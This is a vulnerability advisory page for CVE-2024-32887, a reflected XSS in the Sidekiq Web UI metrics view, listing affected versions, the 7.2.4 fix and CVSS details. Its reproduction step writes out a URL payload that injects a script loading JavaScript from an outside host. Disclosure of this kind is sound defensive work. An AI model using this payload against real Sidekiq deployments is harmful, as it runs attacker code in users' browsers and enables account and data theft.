Loading...
Skip to main content

CVE-2024-32887

MEDIUM

Sidekiq vulnerable to a Reflected XSS in Queues Web Page

Published April 26, 2024Updated June 8, 2026Source: osv

Summary

### Description: During the source Code Review of the metrics.erb view of the Sidekiq Web UI, A reflected XSS vulnerability is discovered. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application. This vulnerability can be exploited to target the users of the application, and users of other applications deployed on the same domain or website as that of the Sidekiq website. Successful exploit results may result in compromise of user accounts and user data. ### Impact: The impact of this vulnerability can be severe. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc. ### Mitigation: Encode all output data before rendering it in the response to prevent XSS attacks. ### Steps to Reproduce: 1. Go to the following URL of the sidekiq Web UI: https://{host}/sidekiq/metrics?substr=beret%22%3E%3Cscript%20src=%22https://cheemahq.vercel.app/a.js%22%20/%3E 2. XSS payload will be executed, causing a popup. ### Evidence: ![image](https://github.com/sidekiq/sidekiq/assets/59286712/9b7efa06-60bc-4d72-bb37-c5949154827e) Figure 1: Source Code Vulnerable to XSS ![image](https://github.com/sidekiq/sidekiq/assets/59286712/7a801feb-d495-416e-8e0e-36dee0eadf85) Figure 2: XSS payload triggered

Remediation

Upgrade to the fixed version using your package manager.

Bundler
Update sidekiq to 7.2.4 or later
gem install sidekiq -v 7.2.4

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
sidekiq
rubygems
7.2.0, 7.2.1, 7.2.2, 7.2.37.2.4

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-79
    Cross-site Scripting (XSS)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 5.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L

Frequently Asked Questions

What is CVE-2024-32887?
Sidekiq vulnerable to a Reflected XSS in Queues Web Page This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 5.5/10).
How do I check if my project is affected by CVE-2024-32887?
CVE-2024-32887 affects sidekiq. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-32887 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
5.5

Exploitation requires specific conditions or has limited impact. Remediate within weeks.

Also Known As

GHSA-q655-3pj8-9fxq

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies